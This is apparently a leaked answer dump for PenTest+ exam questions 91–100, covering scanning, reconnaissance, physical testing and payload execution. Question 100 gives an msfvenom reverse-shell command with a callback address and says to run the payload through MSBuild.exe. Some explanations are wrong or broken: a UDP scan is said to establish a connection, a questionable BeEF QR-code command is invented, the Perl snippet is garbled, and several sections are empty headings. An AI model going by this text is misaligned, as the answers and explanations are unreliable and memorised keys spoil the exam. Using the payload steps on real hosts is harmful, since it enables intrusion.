CompTIA CompTIA Certifications PT0-003 Questions & Answers

• Question 91:

  A penetration tester is conducting an Nmap scan and wants to scan for ports without establishing a connection. The tester also wants to find version data information for services running on Projects. Which of the following Nmap commands should the tester use?

  A. ..nmap -sU -sV -T4 -F target.company.com

  B. ..nmap -sS -sV -F target.company.com

  C. ..nmap -sT -v -T5 target.company.com

  D. ..nmap -sX -sC target.company.com

  Correct Answer: B

  The Nmap command that the tester should use to scan for ports without establishing a connection and to find version data information for services running on open ports is nmap -sS -sV -F target.company.com. This command has the following options: -sS performs a TCP SYN scan, which is a scan technique that sends TCP packets with the SYN flag set to the target ports and analyzes the responses. A TCP SYN scan does not establish a full TCP connection, as it only completes the first step of the three-way handshake. A TCP SYN scan can stealthily scan for open ports without alerting the target system or application. -sV performs version detection, which is a feature that probes open ports to determine the service and version information of the applications running on them. Version detection can provide useful information for identifying vulnerabilities or exploits that affect specific versions of services or applications. -F performs a fast scan, which is a scan option that only scans the 100 most common ports according to the nmap-services file. A fast scan can speed up the scan process by avoiding scanning less likely or less interesting ports. target.company.com specifies the domain name of the target system or network to be scanned. The other options are not valid Nmap commands that meet the requirements of the question. Option A performs a UDP scan (-sU), which is a scan technique that sends UDP packets to the target ports and analyzes the responses. A UDP scan can scan for open ports that use UDP protocol, such as DNS, SNMP, or DHCP. However, a UDP scan does establish a connection with the target system or application, unlike a TCP SYN scan. Option C performs a TCP connect scan (sT), which is a scan technique that sends TCP packets with the SYN flag set to the target ports and completes the three-way handshake with an ACK packet if a SYN/ACK packet is received. A TCP connect scan can scan for open ports that use TCP protocol, such as HTTP, FTP, or SSH. However, a TCP connect scan does establish a full TCP connection with the target system or application, unlike a TCP SYN scan. Option D performs an Xmas scan (-sX), which is a scan technique that sends TCP packets with the FIN, PSH, and URG flags set to the target ports and analyzes the responses. An Xmas scan can stealthily scan for open ports without alerting the target system or application, similar to a TCP SYN scan. However, option D does not perform version detection (-sV), which is one of the requirements of the question.

• Question 92:

  A company that requires minimal disruption to its daily activities needs a penetration tester to perform information gathering around the company's web presence. Which of the following would the tester find MOST helpful in the initial information-gathering steps? (Choose two.)

  A. IP addresses and subdomains

  B. Zone transfers

  C. DNS forward and reverse lookups

  D. Internet search engines

  E. Externally facing open ports

  F. Shodan results

  Correct Answer: AD

  A. IP addresses and subdomains. This is correct. IP addresses and subdomains are useful information for a penetration tester to identify the scope and range of the company's web presence. IP addresses can reveal the location, network, and service provider of the company's web servers, while subdomains can indicate the different functions and features of the company's website. A penetration tester can use tools like whois, Netcraft, or DNS lookups to find IP addresses and subdomains associated with the company's domain name.

  D. Internet search engines. This is correct. Internet search engines are powerful tools for a penetration tester to perform passive information gathering around the company's web presence. Search engines can provide a wealth of information, such as the company's profile, history, news, social media accounts, reviews, products, services, customers, partners, competitors, and more. A penetration tester can use advanced search operators and keywords to narrow down the results and find relevant information. For example, using the site: operator can limit the results to a specific domain or subdomain, while using the intitle: operator can filter the results by the title of the web pages.

• Question 93:

  A penetration tester completed a vulnerability scan against a web server and identified a single but severe vulnerability.

  Which of the following is the BEST way to ensure this is a true positive?

  A. Run another scanner to compare.

  B. Perform a manual test on the server.

  C. Check the results on the scanner.

  D. Look for the vulnerability online.

  Correct Answer: B

• Question 94:

  Which of the following types of information would MOST likely be included in an application security assessment report addressed to developers? (Choose two.)

  A. Use of non-optimized sort functions

  B. Poor input sanitization

  C. Null pointer dereferences

  D. Non-compliance with code style guide

  E. Use of deprecated Javadoc tags

  F. A cydomatic complexity score of 3

  Correct Answer: BC

• Question 95:

  A penetration tester downloaded the following Perl script that can be used to identify vulnerabilities in network switches. However, the script is not working properly.

  Which of the following changes should the tester apply to make the script work as intended?

  A. Change line 2 to $ip= 10.192.168.254;

  B. Remove lines 3, 5, and 6.

  C. Remove line 6.

  D. Move all the lines below line 7 to the top of the script.

  Correct Answer: B

  https://www.asc.ohio-state.edu/lewis.239/Class/Perl/perl.html Example script:

  #!/usr/bin/perl

  $ip=$argv[1];

  attack($ip);

  sub attack {

  print("x");

  }

• Question 96:

  A penetration tester is conducting an authorized, physical penetration test to attempt to enter a client's building during non-business hours. Which of the following are MOST important for the penetration tester to have during the test? (Choose two.)

  A. A handheld RF spectrum analyzer

  B. A mask and personal protective equipment

  C. Caution tape for marking off insecure areas

  D. A dedicated point of contact at the client

  E. The paperwork documenting the engagement

  F. Knowledge of the building's normal business hours

  Correct Answer: DE

  Always carry the contact information and any documents stating that you are approved to do this.

• Question 97:

  A penetration tester is evaluating a company's network perimeter. The tester has received limited information about defensive controls or countermeasures, and limited internal knowledge of the testing exists. Which of the following should be the FIRST step to plan the reconnaissance activities?

  A. Launch an external scan of netblocks.

  B. Check WHOIS and netblock records for the company.

  C. Use DNS lookups and dig to determine the external hosts.

  D. Conduct a ping sweep of the company's netblocks.

  Correct Answer: C

• Question 98:

  A penetration tester wants to create a malicious QR code to assist with a physical security assessment. Which of the following tools has the built-in functionality most likely needed for this task?

  A. BeEF

  B. John the Ripper

  C. ZAP

  D. Evilginx

  Correct Answer: A

  BeEF (Browser Exploitation Framework) is a penetration testing tool that focuses on web browsers. It has built-in functionality for generating malicious QR codes, which can be used to direct users to malicious websites, execute browser-

  based attacks, or gather information.

  Understanding BeEF:

  Creating Malicious QR Codes:

  Step-by-Step Explanationbeef -x --qr

  Usage in Physical Security Assessments:

  References from Pentesting Literature:

  References:

  Penetration Testing - A Hands-on Introduction to Hacking HTB Official Writeups

• Question 99:

  During an external penetration test, a tester receives the following output from a tool:

  test.comptia.org

  info.comptia.org

  vpn.comptia.org

  exam.comptia.org

  Which of the following commands did the tester most likely run to get these results?

  A. nslookup -type=SOA comptia.org

  B. amass enum -passive -d comptia.org

  C. nmap -Pn -sV -vv -A comptia.org

  D. shodan host comptia.org

  Correct Answer: B

  The tool and command provided by option B are used to perform passive DNS enumeration, which can uncover subdomains associated with a domain. Here's why option B is correct:

  amass enum -passive -d comptia.org: This command uses the Amass tool to perform passive DNS enumeration, effectively identifying subdomains of the target domain. The output provided (subdomains) matches what this tool and command

  would produce.

  nslookup -type=SOA comptia.org: This command retrieves the Start of Authority (SOA) record, which does not list subdomains.

  nmap -Pn -sV -vv -A comptia.org: This Nmap command performs service detection and aggressive scanning but does not enumerate subdomains. shodan host comptia.org: Shodan is an internet search engine for connected devices, but it

  does not perform DNS enumeration to list subdomains.

  References from Pentest:

  Writeup HTB: Demonstrates the use of DNS enumeration tools like Amass to uncover subdomains during external assessments.

  Horizontall HTB: Highlights the effectiveness of passive DNS enumeration in identifying subdomains and associated information.

• Question 100:

  A tester plans to perform an attack technique over a compromised host. The tester prepares a payload using the following command:

  msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.12.12.1 LPORT=10112 -f csharp

  The tester then takes the shellcode from the msfvenom command and creates a file called evil.xml. Which of the following commands would most likely be used by the tester to continue with the attack on the host?

  A. regsvr32 /s /n /u C:\evil.xml

  B. MSBuild.exe C:\evil.xml

  C. mshta.exe C:\evil.xml

  D. AppInstaller.exe C:\evil.xml

  Correct Answer: B

  The provided msfvenom command creates a payload in C# format. To continue the attack using the generated shellcode in evil.xml, the most appropriate execution method involves MSBuild.exe, which can process XML files containing C#

  code:

  Understanding MSBuild.exe:

  Command Usage:

  Comparison with Other Commands:

  Using MSBuild.exe is the most appropriate method to execute the payload embedded in the XML file created by msfvenom.